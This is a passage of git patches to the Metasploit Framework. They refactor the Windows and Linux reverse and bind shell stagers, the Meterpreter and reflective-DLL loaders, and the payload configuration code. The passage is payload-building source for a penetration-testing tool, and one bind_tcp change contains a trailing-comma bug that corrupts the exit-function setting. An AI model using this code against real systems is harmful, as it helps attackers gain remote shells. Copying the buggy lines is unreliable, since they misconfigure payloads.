dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter_reverse_http' end @@ -2518,7 +2518,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/meterpreter_reverse_https' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter_reverse_https' end @@ -2528,7 +2528,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/meterpreter_reverse_ipv6_tcp' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter_reverse_ipv6_tcp' end @@ -2538,7 +2538,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/meterpreter_reverse_tcp' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter_reverse_tcp' end @@ -3574,7 +3574,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/reverse_tcp', 'stages/windows/x64/meterpreter' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter/reverse_tcp' end @@ -3584,7 +3584,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/x64/meterpreter_bind_tcp' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter_bind_tcp' end @@ -3594,7 +3594,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/x64/meterpreter_reverse_http' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter_reverse_http' end @@ -3604,7 +3604,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/x64/meterpreter_reverse_https' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter_reverse_https' end @@ -3614,7 +3614,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/x64/meterpreter_reverse_ipv6_tcp' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp' end @@ -3624,7 +3624,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/x64/meterpreter_reverse_tcp' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter_reverse_tcp' end @@ -3646,7 +3646,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/reverse_tcp', 'stages/windows/x64/shell' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/shell/reverse_tcp' end @@ -3688,7 +3688,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/reverse_tcp', 'stages/windows/x64/vncinject' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/vncinject/reverse_tcp' end From 42f94e70c7f4a2b2f0ae47810a056be28bf45014 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 09:05:58 +1000 Subject: [PATCH 35/42] Add `nil` default to exit_types, transport param order swap This allows for checking against exit types to be super easy instead of having to have extra checks in place. Also changed the order of scope_id and uri in the transport URI generation. The net effect of this is NOP because these things only appear separately. --- lib/msf/core/payload/windows.rb | 4 +++- lib/rex/payloads/meterpreter/config.rb | 8 ++------ 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 84d380e16a..f05324a63a 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -34,10 +34,12 @@ module Msf::Payload::Windows # @@exit_types = { + nil => 0, # Default to nothing + '' => 0, # Default to nothing 'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter 'thread' => 0x0A2A1DE0, # ExitThread 'process' => 0x56A2B5F0, # ExitProcess - 'none' => 0x5DE2C5AA, # GetLastError + 'none' => 0x5DE2C5AA # GetLastError } # diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 49292b5331..ede3250504 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -49,11 +49,7 @@ private def session_block(opts) uuid = to_str(opts[:uuid].to_raw, UUID_SIZE) - if opts[:exitfunk] - exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] - else - exit_func = 0 - end + exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] session_data = [ 0, # comms socket, patched in by the stager @@ -74,8 +70,8 @@ private end url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" - url << "?#{opts[:scope_id]}" if opts[:scope_id] url << "#{opts[:uri]}/" if opts[:uri] + url << "?#{opts[:scope_id]}" if opts[:scope_id] # if the transport URI is for a HTTP payload we need to add a stack # of other stuff From 69d2b8ffb1994f990311065d53235d60ac74acf7 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 09:25:02 +1000 Subject: [PATCH 36/42] Various code format, style changes, file moves As per Egypt's suggestions. --- lib/msf/core/handler/reverse_hop_http.rb | 8 ++--- lib/msf/core/handler/reverse_http.rb | 8 ++--- lib/msf/core/payload/linux/bind_tcp.rb | 22 +++++++------- lib/msf/core/payload/linux/reverse_tcp.rb | 30 ++++++++----------- .../core/{ => payload}/transport_config.rb | 2 +- lib/msf/core/payload/windows/bind_tcp.rb | 24 +++++++-------- .../payload/windows/meterpreter_loader.rb | 11 ++++--- .../payload/windows/reflectivedllinject.rb | 9 +++--- lib/msf/core/payload/windows/reverse_http.rb | 4 +-- lib/msf/core/payload/windows/reverse_tcp.rb | 26 +++++++--------- .../core/payload/windows/reverse_winhttp.rb | 4 +-- .../core/payload/windows/reverse_winhttps.rb | 4 +-- lib/msf/core/payload/windows/x64/bind_tcp.rb | 23 +++++++------- .../payload/windows/x64/meterpreter_loader.rb | 11 ++++--- .../windows/x64/reflectivedllinject.rb | 9 +++--- .../core/payload/windows/x64/reverse_tcp.rb | 30 ++++++++----------- .../singles/windows/meterpreter_bind_tcp.rb | 24 +++++++-------- .../windows/meterpreter_reverse_http.rb | 24 +++++++-------- .../windows/meterpreter_reverse_https.rb | 24 +++++++-------- .../windows/meterpreter_reverse_ipv6_tcp.rb | 24 +++++++-------- .../windows/meterpreter_reverse_tcp.rb | 24 +++++++-------- .../windows/x64/meterpreter_bind_tcp.rb | 24 +++++++-------- .../windows/x64/meterpreter_reverse_http.rb | 24 +++++++-------- .../windows/x64/meterpreter_reverse_https.rb | 24 +++++++-------- .../x64/meterpreter_reverse_ipv6_tcp.rb | 24 +++++++-------- .../windows/x64/meterpreter_reverse_tcp.rb | 24 +++++++-------- 26 files changed, 220 insertions(+), 245 deletions(-) rename lib/msf/core/{ => payload}/transport_config.rb (98%) diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index b4b715d1f4..0ead3894a0 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -252,10 +252,10 @@ module ReverseHopHttp url = full_uri + conn_id + "/\x00" print_status("Preparing stage for next session #{conn_id}") - blob = stage_payload({ - :uuid => uuid, - :uri => conn_id - }) + blob = stage_payload( + uuid: uuid, + uri: conn_id + ) #send up crequest = mclient.request_raw( diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6b63080445..d442d6727d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -325,10 +325,10 @@ protected # generate the stage, but pass in the existing UUID and connection id so that # we don't get new ones generated. - blob = obj.stage_payload({ - :uuid => uuid, - :uri => conn_id - }) + blob = obj.stage_payload( + uuid: uuid, + uri: conn_id + ) resp.body = encode_stage(blob) diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index bb93a8d250..83b02fc4a4 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' module Msf @@ -15,26 +15,24 @@ module Msf module Payload::Linux::BindTcp - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Linux # # Generate the first stage # def generate - - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_bind_tcp({ - :port => datastore['LPORT'] - }) - end - conf = { - :port => datastore['LPORT'], - :reliable => true + port: datastore['LPORT'], + reliable: false } + # Generate the more advanced stager if we have the space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'], + conf[:reliable] = true + end + generate_bind_tcp(conf) end diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index a2d0fca9da..5b190f93b0 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/linux' module Msf @@ -16,30 +16,26 @@ module Msf module Payload::Linux::ReverseTcp - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Linux # # Generate the first stage # def generate - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_reverse_tcp( - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - ) - end - conf = { - host: datastore['LHOST'], - port: datastore['LPORT'], + port: datastore['LPORT'], + host: datastore['LHOST'], retry_count: datastore['ReverseConnectRetries'], - exitfunk: datastore['EXITFUNC'], - reliable: true + reliable: false } + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + generate_reverse_tcp(conf) end @@ -79,8 +75,8 @@ module Payload::Linux::ReverseTcp # def asm_reverse_tcp(opts={}) # TODO: reliability is coming - #retry_count = [opts[:retry_count].to_i, 1].max - #reliable = opts[:reliable] + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first diff --git a/lib/msf/core/transport_config.rb b/lib/msf/core/payload/transport_config.rb similarity index 98% rename from lib/msf/core/transport_config.rb rename to lib/msf/core/payload/transport_config.rb index 281f9686df..177684ed47 100644 --- a/lib/msf/core/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -6,7 +6,7 @@ require 'msf/core/payload/uuid_options' # This module contains helper functions for creating the transport # configuration stubs that are used for Meterpreter payloads. ## -module Msf::TransportConfig +module Msf::Payload::TransportConfig include Msf::Payload::UUIDOptions diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 5eceff5d67..5aa6cd3f94 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -17,7 +17,7 @@ module Msf module Payload::Windows::BindTcp - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -26,21 +26,17 @@ module Payload::Windows::BindTcp # Generate the first stage # def generate - - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_bind_tcp({ - :port => datastore['LPORT'].to_i, - :reliable => false - }) - end - conf = { - :port => datastore['LPORT'].to_i, - :exitfunk => datastore['EXITFUNC'], - :reliable => true + port: datastore['LPORT'], + reliable: false } + # Generate the more advanced stager if we have the space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'], + conf[:reliable] = true + end + generate_bind_tcp(conf) end diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index c053e82ba5..9047397807 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -71,9 +71,9 @@ module Payload::Windows::MeterpreterLoader dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) asm_opts = { - :rdi_offset => offset, - :length => dll.length, - :stageless => stageless + rdi_offset: offset, + length: dll.length, + stageless: stageless } asm = asm_invoke_metsrv(asm_opts) @@ -82,9 +82,8 @@ module Payload::Windows::MeterpreterLoader bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry - if( bootstrap.length > 62 ) - print_error( "Meterpreter loader (x86) generated an oversized bootstrap!" ) - return + if bootstrap.length > 62 + raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index c0146ace04..50139c1e4f 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -75,8 +75,8 @@ module Payload::Windows::ReflectiveDllInject dll, offset = load_rdi_dll(library_path) asm_opts = { - :rdi_offset => offset, - :exitfunk => 'thread' # default to 'thread' for migration + rdi_offset: offset, + exitfunk: 'thread' # default to 'thread' for migration } asm = asm_invoke_dll(asm_opts) @@ -85,9 +85,8 @@ module Payload::Windows::ReflectiveDllInject bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry - if( bootstrap.length > 62 ) - print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" ) - return + if bootstrap.length > 62 + raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 73958d3abf..71b3df71e2 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/uuid_options' @@ -18,7 +18,7 @@ module Msf module Payload::Windows::ReverseHttp - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index c0e8e5102f..770effc317 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -15,7 +15,7 @@ module Msf module Payload::Windows::ReverseTcp - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -24,23 +24,19 @@ module Payload::Windows::ReverseTcp # Generate the first stage # def generate - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_reverse_tcp( - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - ) - end - conf = { - host: datastore['LHOST'], - port: datastore['LPORT'], + port: datastore['LPORT'], + host: datastore['LHOST'], retry_count: datastore['ReverseConnectRetries'], - exitfunk: datastore['EXITFUNC'], - reliable: true + reliable: false } + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + generate_reverse_tcp(conf) end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index a3861b11a1..0b0f9bb625 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/windows/reverse_http' @@ -18,7 +18,7 @@ module Msf module Payload::Windows::ReverseWinHttp - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseHttp # diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index a91f2e4d30..1738f682ee 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/reverse_winhttp' require 'msf/core/payload/windows/verify_ssl' require 'rex/payloads/meterpreter/uri_checksum' @@ -18,7 +18,7 @@ module Msf module Payload::Windows::ReverseWinHttps - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseWinHttp include Msf::Payload::Windows::VerifySsl diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index b7ebad198d..d630feb805 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -15,7 +15,7 @@ module Msf module Payload::Windows::BindTcp_x64 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -24,20 +24,17 @@ module Payload::Windows::BindTcp_x64 # Generate the first stage # def generate - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_bind_tcp({ - :port => datastore['LPORT'], - :reliable => false - }) - end - conf = { - :port => datastore['LPORT'], - :exitfunk => datastore['EXITFUNC'], - :reliable => true + port: datastore['LPORT'], + reliable: false } + # Generate the more advanced stager if we have the space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'], + conf[:reliable] = true + end + generate_bind_tcp(conf) end diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index c6507c5b2b..c618eec805 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -74,9 +74,9 @@ module Payload::Windows::MeterpreterLoader_x64 dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll')) asm_opts = { - :rdi_offset => offset, - :length => dll.length, - :stageless => stageless + rdi_offset: offset, + length: dll.length, + stageless: stageless } asm = asm_invoke_metsrv(asm_opts) @@ -85,9 +85,8 @@ module Payload::Windows::MeterpreterLoader_x64 bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry - if( bootstrap.length > 62 ) - print_error( "Meterpreter loader (x64) generated an oversized bootstrap!" ) - return + if bootstrap.length > 62 + raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 44dd5ec575..0194d902d3 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -76,8 +76,8 @@ module Payload::Windows::ReflectiveDllInject_x64 dll, offset = load_rdi_dll(library_path) asm_opts = { - :rdi_offset => offset, - :exitfunk => 'thread' # default to 'thread' for migration + rdi_offset: offset, + exitfunk: 'thread' # default to 'thread' for migration } asm = asm_invoke_dll(asm_opts) @@ -86,9 +86,8 @@ module Payload::Windows::ReflectiveDllInject_x64 bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry - if( bootstrap.length > 62 ) - print_error( "Reflective Dll Injection (x64) generated an oversized bootstrap!" ) - return + if bootstrap.length > 62 + raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index e726687572..110a3a1294 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -15,7 +15,7 @@ module Msf module Payload::Windows::ReverseTcp_x64 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -31,24 +31,19 @@ module Payload::Windows::ReverseTcp_x64 # Generate the first stage # def generate - # TODO: coming later - # Generate the simple version of this stager if we don't have enough space - #if self.available_space.nil? || required_space > self.available_space - # return generate_reverse_tcp( - # port: datastore['LPORT'], - # host: datastore['LHOST'], - # retry_count: datastore['ReverseConnectRetries'], - # ) - #end - conf = { - host: datastore['LHOST'], port: datastore['LPORT'], + host: datastore['LHOST'], retry_count: datastore['ReverseConnectRetries'], - exitfunk: datastore['EXITFUNC'], - reliable: true + reliable: false } + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + generate_reverse_tcp(conf) end @@ -98,8 +93,9 @@ module Payload::Windows::ReverseTcp_x64 # def asm_reverse_tcp(opts={}) - #retry_count = [opts[:retry_count].to_i, 1].max - # TODO: reliable = opts[:reliable] + # TODO: reliability coming later + reliable = opts[:reliable] + retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port] diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 43627c5433..ab8a59fe48 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 906910 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_bind_tcp(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_bind_tcp(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 0bd7fd2994..b12ad4d64e 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 907954 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_http(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_http(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 9fe4cde3dc..5cbb815cca 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 907954 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_https(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_https(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 971d5cd97a..1641594c5d 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 906910 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader @@ -46,20 +46,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_ipv6_tcp(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + 